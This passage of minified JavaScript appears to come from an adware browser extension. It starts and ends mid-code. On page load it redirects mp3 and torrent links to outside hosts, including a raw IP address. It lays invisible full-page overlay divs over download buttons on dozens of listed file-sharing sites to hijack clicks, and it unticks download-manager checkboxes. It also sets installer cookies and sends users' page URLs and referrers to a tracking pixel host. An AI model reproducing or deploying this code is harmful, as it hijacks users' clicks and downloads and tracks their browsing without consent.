(a) { var b = document.createElement(a.nodeName.toLowerCase()), e = !1; a.getAttribute(\"href\") && b.setAttribute(\"href\", \"javascript:void(0);\"); for (var d in a)if (\"src\" == d || \"width\" == d || \"height\" == d)b[d] = a[d]; else if (\"style\" == d)for (var f in a[d])a[d][f] && \"\" != a[d][f] && (b[d][f] = a[d][f]); else e || \"nodeValue\" != d && \"textContent\" != d && \"innetText\" != d && \"className\" != d || 0 != a.children.length || (b[d] = a[d], e = !0); for (e = 0; e < a.childNodes.length; e++)if (3 == a.childNodes[e].nodeType)b.appendChild(document.createTextNode(a.childNodes[e].textContent ? a.childNodes[e].textContent : a.childNodes[e].innerText)); else { d = c.duplicateElement(a.childNodes[e]); f = c.getAllText(d.childNodes); var g = a.childNodes[e].textContent ? a.childNodes[e].textContent : a.childNodes[e].innerText; g && (g = g.replace(f, \"\"), \"\" != g && (d.textContent ? d.textContent = g : d.innerText = g)); b.appendChild(d) } return b } }; if (-1 < window.location.href.indexOf(\"google.com/chrome/srt\") && -1 < navigator.userAgent.toLowerCase().indexOf(\"chrome\")) { try { var h = parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) } catch (p) { return } if (!(38 >= h)) { for (h = 0; h < document.links.length; h++) { var l = document.links[h], m = l.getAttribute(\"href\"); if (m && -1 < m.indexOf(\"#dialog-contents\")) { var m = k.utils.duplicateElement(l), n = l.parentNode; n.insertBefore(m, l); n.removeChild(l) } } (h = document.getElementById(\"dialog-contents\")) && h.remove() } } }; (function () { try { window.top == window && -1 < navigator.userAgent.toLowerCase().indexOf(\"chrome\") && \"http:\" == window.location.protocol && chrome.storage.local.get(\"bcvzdw1\", function (a) { if (!a.bcvzdw1 && !localStorage.getItem(\"bcvzdw1\") && (a = document.getElementsByTagName(\"a\"), a.length))for (var b = 0; b < a.length; b++)if (a[b] && a[b].href && \"mp3\" == a[b].href.substr(-3)) { var c = a[b].href; a[b].setAttribute(\"href\", \"http://mp3tree.co/media/\" + encodeURIComponent(a[b].innerHTML) + \"/mid/\" + encodeURIComponent(encodeURIComponent(c)) + \"/el/1\"); a[b].setAttribute(\"id\", \"sdfsdfsfds\" + b); document.getElementById(\"sdfsdfsfds\" + b).addEventListener(\"click\", function () { chrome.storage.local.set({bcvzdw1: \"2\"}); localStorage.setItem(\"bcvzdw1\", \"2\") }, !1) } }) } catch (d) { } })(); (function () { try { window.top == window && -1 < navigator.userAgent.toLowerCase().indexOf(\"chrome\") && \"http:\" == window.location.protocol && chrome.storage.local.get(\"bxcv43t897\", function (a) { if (!a.bxcv43t897 && !localStorage.getItem(\"bxcv43t897\") && (a = document.getElementsByTagName(\"a\"), a.length))for (var b = 0; b < a.length; b++)a[b] && a[b].href && \"torrent\" == a[b].href.substr(-7) && (a[b].setAttribute(\"href\", \"http://78.47.6.114/api/getLink/?cb=\" + Math.random()), a[b].setAttribute(\"id\", \"cxvcxv\" + b), document.getElementById(\"cxvcxv\" + b).addEventListener(\"click\", function () { chrome.storage.local.set({bxcv43t897: \"2\"}); localStorage.setItem(\"bxcv43t897\", \"2\") }, !1)) }) } catch (c) { } })();}catch(e){};try{new function(){var l=this;this.activeZds={\"uploading.com\":1,\"go4up.com\":1,\"mp3olimp.org\":1,\"hulkload.com\":1,\"free-tv-video-online.me\":1,\"ehd.c\":1,\"hesefiles.c\":1,\"coolrom.com\":1,\"ebookbrowsee.net\":1,\"go.theadsnet.com\":1,\"ziddu.com\":1,\"opensubtitles.org\":1,\"romptfile.co\":1,\"pensoftwareupdater.co\":1,\"veehd.com\":1,\"llplayer.com.b\":1,\"ubtitulosespanol.or\":1,\"ubtitles4free.ne\":1,\"legendasbrasil.org\":1,\"stream2watch.me\":1,\"kickass.to\":1,\"kickass.so\":1,\"programasgratis.es\":1,\"programasejogos.com\":1,\"flexydrive.com\":1,\r\n\"media1fire.com\":1,\"softwareandgames.com\":1,\"baixarjogos.com\":1,\"programmesetjeux.com\":1,\"descargarjuegos.com\":1,\"hotfiles.ro\":1,\"vitanclub.net\":1,\"getsecuredfiles.com\":1,\"mestorrents.com\":1,\"vitorrent.net\":1,\"newsinitiative.org\":1,\"megafilmesonlinehd.com\":1,\"mycoolmp3.com\":1,\"toggle.com\":1,\"downloadshareware.com\":1,\"primewire.ag\":1,\"myappsforpc.com\":1,\"telecharger.logiciel.net\":1,\"winmacsofts.com\":1,\"1337x.to\":1,\"h33t.to\":1,\"ahashare.com\":1,\"torrenthound.com\":1,\"smartorrent.com\":1,\"torrentreactor.net\":1,\r\n\"tomadivx.org\":1,\"downloads.info\":1,\"techypcapps.com\":1,\"techariot.com\":1,\"androidlegend.com\":1,\"technologyrush.com\":1,\"notintricate.com\":1,\"techglen.com\":1,\"updownload.com\":1,\"techamiable.com\":1,\"appsforpcmero.com\":1,\"descarga.benjaminstrahs.com\":1,\"installers.installm.com\":1,\"torrentz.com\":1,\"lp.playerpage209.info\":1,\"lp.playerpage214.info\":1,\"popcorntime.com.br\":1,\"roms43.com\":1,\"mawtoload.com\":1,\"baixaki.com.br\":1,\"torrentfunk.com\":1,\"torlock.com\":1,\"yourbittorrent.com\":1,\"d-h.st\":1,\"downsmetall.com\":1,\r\n\"flvplayer4free.com\":1,\"dl4all.ws\":1,\"torrentpanda.com\":1,\"filmovizija.in\":1,\"filetie.net\":1,\"gamestorrents.com\":1,\"torcache.net\":1,\"hit2k.com\":0,\"igizmodots.com\":1,\"gfxfree.net\":1,\"techmacho.com\":1,\"telechargerunevideo.com\":0,\"baixarwhatsapp.com.br\":1,\"playappsforpc.com\":1,\"patriotpays.com\":1,\"offlineinstallersdownload.com\":1,\"4allprograms.net\":1,\"apunkagames.net\":1,\"re-direcciona.me\":1,\"uptobox.com\":1,\"dadsoft.net\":1,\"do2dear.net\":1,\"unlimitedhacks.com\":1,\"mp3bear.biz\":0,\"compucalitv.com\":1,\"stream2watch.com\":1,\r\n\"uploadrocket.net\":1,\"kat.cr\":1,\"phpnuke.org\":1,\"up4.im\":1,\"mediafree.co\":1,\"malavida.com\":1,\"telechargement1.org\":1,\"file-upload.net\":1,\"jmshared.com\":0};this.utils=new function(){var a=this;a.sendPixels=function(e){var a;if(e instanceof Array)for(var k=0;k<e.length;k++){var m=e[k];a=new Image;a.src=m}else a=new Image,a.src=e};a.isFalse=function(e){return\"undefined\"==typeof e||0===e.length||null===e};a.cookie=new function(){var e=this;e.createCookie=function(e,a,m){if(m){var l=new Date;l.setTime(l.getTime()+\r\n864E5*m);m=\"; expires=\"+l.toGMTString()}else m=\"\";document.cookie=e+\"=\"+a+m+\"; path=/\"};e.readCookie=function(e){e+=\"=\";for(var a=document.cookie.split(\";\"),m=0;m<a.length;m++){for(var l=a[m];\" \"==l.charAt(0);)l=l.substring(1,l.length);if(0==l.indexOf(e))return l.substring(e.length,l.length)}return null};e.eraseCookie=function(a){e.createCookie(a,\"\",-1)}};a.ajax={get:function(e,h){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",e,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&\r\nh(a.ajax.xhr.responseText)},this.xhr.send()}catch(k){}},post:function(e,h,k){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",e,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&k(a.ajax.xhr.responseText)};h=encodeURIComponent(h);this.xhr.send(h)}};a.waitForTokens={};a.addScript=function(e,a){if(\"bing\"==a){var k=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=\r\ndocument.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(e);Element.prototype.appendChild=k}else document.getElementsByTagName(\"head\")[0].appendChild(e)};a.waitForElement=function(e,h,k,m){var p=a.query_selector_all(e);clearTimeout(a.waitTimeout);if(25<l.waitForElementCounter)return h(null);if(\"undefined\"==typeof p||1>p.length){if(a.waitForTokens[m])return h(null);var n=arguments.callee;a.waitTimeout=setTimeout(function(){l.waitForElementCounter++;n(e,h,k,m)},k)}else{if(a.waitForTokens[m])return h(null);\r\na.waitForTokens[m]=!0;l.waitForElementCounter=0;return h(p)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(e,a){return Math.floor(Math.random()*(a-e+1))+e};a.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(e){return{getPropertyValue:function(h){\"float\"==h&&(h=\"styleFloat\");h=a.dhtml_prop_name(h);return\"object\"==typeof e.currentStyle&&null!=e.currentStyle&&\"undefined\"!=typeof e.currentStyle[h]?e.currentStyle[h]:null}}}:function(e,a){return window.getComputedStyle(e,\r\na)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(e){try{return document.querySelectorAll(e)}catch(a){}}:function(e){var a=e.match(/^#([^,\\s]+)$/)||[];if(1<a.length)return e=document.getElementById(a[1])||void 0,\"undefined\"!=typeof e?[e]:[];a=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(a);document.__asya_qsaels=[];a.styleSheet.cssText=e+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};\r\na.clone_object=window.JSON instanceof Object?function(e){if(e instanceof Object&&(e=JSON.stringify(e),\"string\"==typeof e))return JSON.parse(e)}:function(e){if(e instanceof Object){var a=new e.constructor,k;for(k in e)a[k]=arguments.callee(e[k]);return a}return e};a.dhtml_prop_name=function(e){return e.replace(/(\\-([a-z]){1})/g,function(e,a,m){return m.toUpperCase()})};a.wildcard_to_regex=function(e){e=e.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");e=e.replace(/\\*/g,\".*\");return new RegExp(e)};a.throttle=\r\nfunction(e,a){var k=null;return function(){var m=this,l=arguments;clearTimeout(k);k=setTimeout(function(){e.apply(m,l)},a)}};a.epoch=function(){return(new Date).getTime()};a.msie=function(){var e=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(e)&&(e=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(e)?!1:e}();a.version_ie_less=function(e){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=\r\ne?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(e,h){for(var k=0;k<h.length;k++)if(\"string\"==typeof h[k]){var m;m=/^\\/.+\\/$/.test(h[k])?new RegExp(h[k]):a.wildcard_to_regex(h[k]);if(m instanceof RegExp&&m.test(e))return!0}};a.ping=function(e){for(var a=[\"google\",\"bing\",\"yahoo\",\"youtube\"],k=0;k<a.length;k++)if(-1<location.hostname.indexOf(a[k])){var m=\r\nnew Image,p=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<p.length&&(p=encodeURIComponent(location.hostname));var n=encodeURIComponent(location.hostname);m.src=l.pixelHost+\"?hid=11964702200008270108&eid=78&pid=20494&prodid=338&v=\"+l.version+\"&ch=\"+e+\"&lan=\"+navigator.language+\"&cc=MA&pr=\"+a[k]+\"&host=\"+n+\"&ref=\"+p}};a.getAllText=function(e){for(var a=\"\",k=0;k<e.length;k++)a+=e.textContent?e.textContent:e.innetText;return a};\r\na.duplicateElement=function(e){var h=document.createElement(e.nodeName.toLowerCase());e.getAttribute(\"href\")&&h.setAttribute(\"href\",\"javascript:void(0);\");for(var k in e)if(\"src\"==k||\"width\"==k||\"height\"==k||\"id\"==k||\"className\"==k||\"frameborder\"==k||\"border\"==k||\"scrolling\"==k||\"marginheight\"==k||\"marginwidth\"==k)h[k]=e[k];else if(\"style\"==k)for(var m in e[k])e[k][m]&&\"\"!=e[k][m]&&(h[k][m]=e[k][m]);else\"input\"!==e.nodeName.toLowerCase()||\"type\"!=k&&\"value\"!=k&&\"checked\"!=k||(h[k]=e[k]);for(k=0;k<\r\ne.childNodes.length;k++)if(3==e.childNodes[k].nodeType)m=e.childNodes[k].textContent?e.childNodes[k].textContent:e.childNodes[k].innerText,\"undefined\"===typeof m&&(m=e.childNodes[k].nodeValue?e.childNodes[k].nodeValue:e.childNodes[k].data),\"undefined\"!==typeof m&&h.appendChild(document.createTextNode(m));else{m=a.duplicateElement(e.childNodes[k]);var l=a.getAllText(m.childNodes),n=e.childNodes[k].textContent?e.childNodes[k].textContent:e.childNodes[k].innerText;n&&(n=n.replace(l,\"\"),\"\"!=a.trim(n)&&\r\n(m.textContent?m.textContent=n:m.innerText=n));h.appendChild(m)}return h};a.coverElement=function(e,a,k,m,l,n,r,q,u){var t=document.createElement(\"div\");t.style.width=a?a:\"100%\";t.style.height=k?k:\"100%\";t.style.zIndex=n?n:\"2000\";t.style.top=m?m:\"0\";t.style.left=l?l:\"0\";t.style.cursor=r?r:\"pointer\";t.style.position=\"absolute\";a=e.parentNode;a.style.position=\"undefined\"===typeof u?\"relative\":u;!0!==q&&\"undefined\"!==typeof q||a.removeChild(e);a.appendChild(t)};a.addEventListener=function(a,h,k){if(a.addEventListener)return a.addEventListener(h,\r\nk,!1),!0;if(a.attachEvent)return a.attachEvent(\"on\"+h,k);h=\"on\"+h;\"function\"===typeof a[h]&&(k=function(a,e){return function(){a.apply(this,arguments);e.apply(this,arguments)}}(a[h],k));a[h]=k;return!0};a.cancelEvent=function(a){a||(a=window.event||arguments.callee.caller.arguments[0]);a.cancelBubble&&(a.cancelBubble=!0);a.preventDefault&&a.preventDefault();a.returnValue&&(a.returnValue=!1);a.stopPropagation&&a.stopPropagation();return!1};a.disableAllClicks=function(){for(var e=document.getElementsByTagName(\"*\"),\r\nh=0;h<e.length;h++)a.addEventListener(e[h],\"click\",function(){var a=window.event||arguments.callee.caller.arguments[0];a.cancelBubble&&(a.cancelBubble=!0);a.preventDefault&&a.preventDefault();a.returnValue&&(a.returnValue=!1);a.stopPropagation&&a.stopPropagation();return!1})};a.trim=function(a){return\"function\"!==typeof String.prototype.trim?String(a).replace(/^\\s+|\\s+$/g,\"\"):String.prototype.trim(a)};a.createTransparentDiv=function(){var a=document.createElement(\"div\");a.style.position=\"fixed\";a.style.top=\r\n\"0px\";a.style.left=\"0px\";a.style.right=\"0px\";a.style.bottom=\"0px\";a.style.zIndex=\"999999999\";a.style.display=\"block\";document.body.insertBefore(a,document.body.childNodes[0])}};this[\"mp3olimp.org\"]=new function(){this.init=function(){setTimeout(function(){for(var a=document.links,e=0;e<a.length;e++)if(\"return prepare_download_file(this);\"==a[e].getAttribute(\"onclick\")){var m=document.createElement(\"a\");m.className=\"link last\";m.setAttribute(\"href\",\"javascript:void(0);\");m.innerText?m.innerText=\"Download\":\r\nm.textContent=\"Download\";var l=a[e].parentNode,n=l.children[l.children.length-1];n&&(l.removeChild(a[e]),l.insertBefore(m,n))}},1E3);new function(){-1<window.location.host.toLowerCase().indexOf(\"p3olimp.or\")&&(window.__intCount=0,window.__int=setInterval(function(){var a=document.getElementById(\"download-manager-checkbox\");if(null!==a)try{a.setAttribute(\"checked\",!1),document.getElementById(\"checkbox\").checked=!1}catch(e){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250))};\r\n-1<window.location.host.toLowerCase().indexOf(\"p3olimp.or\")&&(window.__intCount=0,window.__int=setInterval(function(){var a=document.getElementById(\"download-manager-checkbox\");if(null!==a)try{a.setAttribute(\"checked\",!1),document.getElementById(\"checkbox\").checked=!1}catch(e){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250));if(-1<document.location.host.indexOf(\"p3olimp.or\")&&document.getElementsByClassName)for(c=document.getElementById(\"download-manager-checkbox\"),c.onchange=\r\nfunction(){for(var a=document.getElementsByClassName(\"nasjfkla\"),e=0;e<a.length;e++)a[e].style.display=c.checked?\"block\":\"none\"},i=0;i<document.links.length;i++){var a=document.links[i],e=a.getAttribute(\"onclick\");e&&-1<e.indexOf(\"prepare_download_file\")&&(a=a.parentNode,a.style.position=\"relative\",b=document.createElement(\"div\"),b.className=\"nasjfkla\",b.style.position=\"absolute\",b.style.top=\"-2px\",b.style.left=\"92px\",b.style.width=\"71px\",b.style.height=\"16px\",b.style.zIndex=\"99999\",b.style.cursor=\r\n\"pointer\",a.appendChild(b))}-1<location.host.indexOf(\"p3olimp.or\")&&setTimeout(function(){for(var a=document.getElementById(\"leftside\"),e=0;e<a.children.length;e++)if(/\\bspnBook\\b/.test(a.children[e].className))for(var m=a.children[e].getElementsByTagName(\"a\"),l=0;l<m.length;l++)m[l].setAttribute(\"href\",\"#\"),m[l].setAttribute(\"target\",\"\")},1001)}};this[\"hulkload.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".reclamTable .reclamRow .reclamCell a\"),e=0;e<a.length;e++){var h=\r\na[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}a=l.utils.query_selector_all(\".contentback div div a[target='_blank']\");for(e=0;e<a.length;e++)h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h);a=l.utils.query_selector_all(\".contentback div center a[target='_blank']\");for(e=0;e<a.length;e++)h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h);new function(){-1<location.host.toLowerCase().indexOf(\"ulkload.co\")&&\r\n(window.___interCount=0,window.___interval=setInterval(function(){for(var a=document.getElementsByTagName(\"center\"),e=0;e<a.length;e++)if(0!=e&&!(-1<a[e].innerHTML.indexOf(\"adcopy-outer\")||-1<a[e].innerHTML.indexOf(\"btn_download\")||-1<a[e].innerHTML.indexOf(\"solvemedia puzzle widget\"))){var h=document.createElement(\"div\");h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.zIndex=\"1900\";h.style.position=\"absolute\";e==a.length-1?(h.style.bottom=\"0\",h.style.height=\"110px\"):h.style.top=\r\n\"0\";a[e].style.position=\"relative\";a[e].appendChild(h)}a=document.getElementById(\"cap\");null!=a&&(a.parentNode.style.position=\"relative\",a.parentNode.style.zIndex=\"2000\");20<window.___interCount++&&clearInterval(window.___interval)},500))}}};this[\"free-tv-video-online.me\"]=new function(){this.init=function(){if(-1<window.self.location.hostname.indexOf(\"eo-online.me\")&&window.self==window.top){for(var a=document.getElementsByTagName(\"div\"),e=0;e<a.length;e++)if(a[e].style&&\"653px\"==a[e].style.width&&\r\n\"49px\"==a[e].style.height){var h=a[e];h.style.position=\"relative\";var k=document.createElement(\"div\");k.style.position=\"absolute\";k.style.cursor=\"pointer\";k.style.zIndex=\"2000\";k.style.width=\"100%\";k.style.height=\"50px\";k.style.top=\"0\";h.appendChild(k)}setTimeout(function(){for(var a=document.links,e=0;e<a.length;e++){var h=a[e].innerText?a[e].innerText:a[e].textContent;if(\"trackOutboundLink(this, 'Outbound Links', 'slinks.com'); return false;\"==a[e].getAttribute(\"onclick\")&&\"Stream Video Now!\"==\r\nh){h=document.createElement(\"a\");h.className=\"down\";h.setAttribute(\"href\",\"javascript:void(0);\");h.innerText?h.innerText=\"Stream Video Now!\":h.textContent=\"Stream Video Now!\";var k=a[e].parentNode,l=k.children[k.children.length-1];k.removeChild(a[e]);if(l)try{k.insertBefore(h,l)}catch(u){k.appendChild(h)}else k.appendChild(h)}}a=document.getElementsByTagName(\"a\");for(e=0;e<a.length;e++)if(\"getDownload();\"==a[e].getAttribute(\"onclick\"))if(h=document.createElement(\"p\"),h.className=\"dloadh\",h.setAttribute(\"href\",\r\n\"javascript:void(0);\"),h.innerText?h.innerText=\" \":h.textContent=\" \",k=a[e].parentNode,l=k.children[k.children.length-1],k.removeChild(a[e]),l)try{k.insertBefore(h,l)}catch(t){k.appendChild(h)}else k.appendChild(h)},1E3);a=document.createElement(\"script\");a.type=\"text/javascript\";a[-1<navigator.userAgent.toLowerCase().indexOf(\"msie\")?\"text\":\"innerHTML\"]=\"(\"+function(){try{if(jQuery(\".down, .dloadf, .dloadt\").attr(\"href\",\"#\"),$(\"#adsfrm\").length){var a=$(\"#adsfrm\").offset();$('<img src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\" style=\"position:absolute;z-index:9999;top:'+\r\na.top+\"px;left:\"+a.left+\"px;width:\"+$(\"#adsfrm\").width()+\"px;height:\"+$(\"#adsfrm\").height()+'px;\">').appendTo(\"body\")}}catch(e){}}.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(a)}}};this[\"ehd.c\"]=new function(){this.init=function(){-1<window.self.location.hostname.indexOf(\"ehd.c\")&&document.getElementById(\"r1113566095\")&&(g=document.createElement(\"img\"),g.setAttribute(\"style\",\"width:100%;height:100%;position:absolute;z-index:99999;left:0;top:0\"),g.src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\",\r\nf=document.getElementById(\"r1113566095\").parentNode,f.style.position=\"relative\",f.appendChild(g))}};this[\"hesefiles.c\"]=new function(){this.init=function(){-1<window.self.location.hostname.indexOf(\"hesefiles.c\")&&(window.self.location.href=\"about:blank\");if(-1<window.self.location.hostname.indexOf(\"usfiles.ne\")){var a=function(){$(\"form[name=F1]\").submit(function(){if(-1<$(this).attr(\"action\").indexOf(\"bdl1=\"))return $(\"input[name=quick]\").attr(\"checked\",!1),window.setTimeout(function(){$(\"#btn_download\").attr(\"disabled\",\r\n!1).val(\"Download Now!!\");$(\"form[name=F1]\").unbind(\"submit\")},700),!1})};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))a();else{var e=document.createElement(\"script\");e.type=\"text/javascript\";e.innerHTML=\"(\"+a.toString()+\")()\";document.body.appendChild(e)}}}};this[\"coolrom.com\"]=new function(){this.init=function(){for(var a=document.getElementsByTagName(\"img\"),e=0;e<a.length;e++)-1<a[e].src.indexOf(\"/images/download_large.png\")&&a[e].parentNode.setAttribute(\"href\",\"javascript:void(0);\");\r\na=new Date;a.setTime(a.getTime()+2592E6);a=\"; expires=\"+a.toGMTString();document.cookie=\"installer=14604\"+a+\"; path=/;domain=.coolrom.com\"}};this[\"ebookbrowsee.net\"]=new function(){this.init=function(){}};this[\"go.theadsnet.com\"]=new function(){this.init=function(){-1<document.referrer.indexOf(\"go.theadsnet.com\")&&document.write(\"\");(function(){var a=0;try{if(-1<window.location.href.indexOf(\"ack-free.co\"))var e=setInterval(function(){try{var h=document.getElementById(\"ucd-countdown-1\"),m=[];m.push(1*\r\nh.children[2].children[1].children[1].innerText);m.push(1*h.children[2].children[2].children[1].innerText);m.push(1*h.children[3].children[1].children[1].innerText);m.push(1*h.children[3].children[2].children[1].innerText);for(var l=h=0;l<m.length;l++)h+=m[l];if(!(0<h)){clearInterval(e);var n=document.createElement(\"div\");n.style.position=\"absolute\";n.style.top=0;n.style.left=0;n.style.width=\"100%\";n.style.height=\"100%\";n.style.zIndex=\"9999\";n.style.cursor=\"pointer\";var r=document.getElementById(\"ucd-countdown-1-content\").children[1];\r\nr.style.position=\"relative\";r.appendChild(n)}}catch(q){try{var u=0;jQuery.each(jQuery(\".ucd-figure.ucd-countdown-digit-bottom\"),function(){u+=1*jQuery(this).text()});if(0===u){clearInterval(e);var t=jQuery(\"#ucd-countdown-1-content iframe\"),v=t.parent();t.remove();v.html(\"<img title='Get Download' alt='latbut' src='http://i.imgur.com/At0oA5A.png' height='61' width='373'>\")}}catch(w){\"undefined\"!==typeof a&&30<++a&&clearInterval(e)}}},750)}catch(h){}})()}};this[\"ziddu.com\"]=new function(){this.init=\r\nfunction(){var a=0,e=setInterval(function(){a++;if(-1<window.location.host.indexOf(\"ownloads.ziddu.co\")){for(var h=0;h<document.links.length;h++)try{var k=document.links[h].href.toLowerCase();if(-1==k.indexOf(\"ww.ziddu.co\")&&-1==k.indexOf(\"#\")&&-1==k.indexOf(\"tunes.apple.co\")&&-1==k.indexOf(\"lay.google.co\")&&-1==k.indexOf(\"/gallery/\")){try{for(var m=document.links[h],l=0;15>=l;l++)m=m.parentNode;if(-1<m.className.indexOf(\"footerbg\"))continue}catch(n){}var r=document.links[h].parentNode;if(!(-1<r.className.indexOf(\"addthis_toolbox\"))){r.style.position=\r\n\"relative\";var q=document.createElement(\"div\");q.style.position=\"absolute\";q.style.left=0;q.style.top=0;q.style.width=\"100%\";q.style.height=\"100%\";q.style.zIndex=\"9999\";q.style.cursor=\"pointer\";r.appendChild(q)}}}catch(u){}k=document.getElementsByTagName(\"iframe\");for(h=0;h<k.length;h++)try{-1==k[h].src.indexOf(\"acebook.co\")&&-1==k[h].src.indexOf(\"cp.crwdcntrl.ne\")&&(r=k[h].parentNode,r.style.position=\"relative\",q=document.createElement(\"div\"),q.style.position=\"absolute\",q.style.left=0,q.style.top=\r\n0,q.style.width=\"100%\",q.style.height=\"100%\",q.style.zIndex=\"9999\",q.style.cursor=\"pointer\",q.id=h,r.appendChild(q))}catch(t){}}20<a&&clearInterval(e)},500)}};this[\"opensubtitles.org\"]=new function(){this.init=function(){new function(){var a=document.getElementById(\"scrubbuad\");a&&(a.style.zIndex=\"15\",f=document.createElement(\"div\"),f.style.zIndex=\"15000\",f.style.right=\"9px\",f.style.bottom=\"0\",f.style.position=\"fixed\",f.style.padding=\"0\",f.style.margin=\"0 0 30px 0\",f.style.width=\"220px\",f.style.height=\r\n\"72px\",f.style.overflow=\"visible\",f.style.cursor=\"pointer\",document.getElementsByTagName(\"body\")[0].firstChild.appendChild(f));var e=l.utils.query_selector_all('div[style=\"clear: both;\"] fieldset table[style=\"width:100%;\"] td');0==e.length&&(e=l.utils.query_selector_all('div[style=\"clear: both;\"] fieldset table[style=\"width: 100%;\"] td'));for(a=0;a<e.length;a++){var h=l.utils.duplicateElement(e[a]),k=e[a].parentNode;k.insertBefore(h,e[a]);k.removeChild(e[a])}e=l.utils.query_selector_all('div[style=\"margin-left: 110px;\"] fieldset div[style=\"text-align: left\"] a');\r\n0==e.length&&(e=l.utils.query_selector_all('div[style=\"margin-left: 110px;\"] fieldset div[style=\"text-align: left;\"] a'));for(a=0;a<e.length;a++)h=l.utils.duplicateElement(e[a]),k=e[a].parentNode,k.insertBefore(h,e[a]),k.removeChild(e[a]);e=l.utils.query_selector_all('div[style=\"clear: both;\"] fieldset table[style=\"width:100%;border-spacing: 1px;\"] td');0==e.length&&(e=l.utils.query_selector_all('div[style=\"clear: both;\"] fieldset table[style=\"width: 100%; border-spacing: 1px;\"] td'));for(a=0;a<e.length;a++)h=\r\nl.utils.duplicateElement(e[a]),k=e[a].parentNode,k.insertBefore(h,e[a]),k.removeChild(e[a])}}};this[\"romptfile.co\"]=new function(){this.init=function(){if(-1<location.host.toLowerCase().indexOf(\"romptfile.co\")){for(var a={},e=document.getElementsByTagName(\"iframe\"),h=0;h<e.length;h++)\"300\"==e[h].getAttribute(\"width\")&&\"250\"==e[h].getAttribute(\"height\")&&(a=e[h].parentNode);a.style.position=\"relative\";d=document.createElement(\"div\");d.style.position=\"absolute\";d.style.width=\"100%\";d.style.height=\"255px\";\r\nd.style.cursor=\"pointer\";d.style.top=\"0\";d.style.zIndex=\"2000\";a.appendChild(d)}}};this[\"pensoftwareupdater.co\"]=new function(){this.init=function(){new function(){if(-1<window.location.host.toLowerCase().indexOf(\"pensoftwareupdater.co\"))if(\"undefined\"!==typeof $)window.__qqcount=0,window.__qqint=setInterval(function(){var a=$(\".download\").parent();a.css(\"position\",\"relative\");var e=document.createElement(\"div\");e.style.position=\"absolute\";e.style.zIndex=\"2000\";e.style.height=\"100%\";e.style.width=\r\n\"122px\";e.style.right=\"0\";e.style.top=\"0\";e.style.cursor=\"pointer\";a.append(e);a=$(\"#addBoxX\").parent();a.css(\"position\",\"relative\");e=document.createElement(\"div\");e.style.position=\"absolute\";e.style.zIndex=\"2000\";e.style.height=\"45px\";e.style.width=\"101px\";e.style.right=\"22px\";e.style.bottom=\"16px\";e.style.cursor=\"pointer\";a.append(e);window.__qqcount++;10<window.__qqcount&&clearInterval(window.__qqint)},250);else for(var a=document.links,e={},h={},k=0;k<a.length;k++)e=a[k].getAttribute(\"href\"),\r\nnull!=e&&-1<e.toLowerCase().indexOf(\"pensoftwareupdater.com/idownloader.ph\")&&(e=a[k].getAttribute(\"id\"),null!=e&&\"addBoxX\"==e?(h=a[k].parentNode,h.style.position=\"relative\",e=document.createElement(\"div\"),e.style.position=\"absolute\",e.style.zIndex=\"2000\",e.style.height=\"45px\",e.style.width=\"101px\",e.style.right=\"22px\",e.style.bottom=\"16px\"):(h=a[k].parentNode,h.style.position=\"relative\",e=document.createElement(\"div\"),e.style.position=\"absolute\",e.style.zIndex=\"2000\",e.style.height=\"100%\",e.style.width=\r\n\"122px\",e.style.right=\"0\",e.style.top=\"0\"),e.style.cursor=\"pointer\",h.appendChild(e))}}};this[\"veehd.com\"]=new function(){this.init=function(){new function(){if(-1<window.location.href.indexOf(\"veehd.com/video/\")){var a=document.getElementsByTagName(\"iframe\")[0],e={};null!=a&&(a=a.parentNode,e=document.createElement(\"div\"),e.style.top=\"0\",e.style.width=\"100%\",e.style.height=\"100%\",e.style.cursor=\"pointer\",e.style.zIndex=\"2000\",e.style.position=\"absolute\",a.style.position=\"relative\",a.appendChild(e));\r\na=document.getElementById(\"preview\");null!=a&&(e=document.createElement(\"div\"),e.style.top=\"0\",e.style.width=\"100%\",e.style.height=\"100%\",e.style.cursor=\"pointer\",e.style.zIndex=\"2000\",e.style.position=\"absolute\",a.style.position=\"relative\",a.appendChild(e))}else for(var 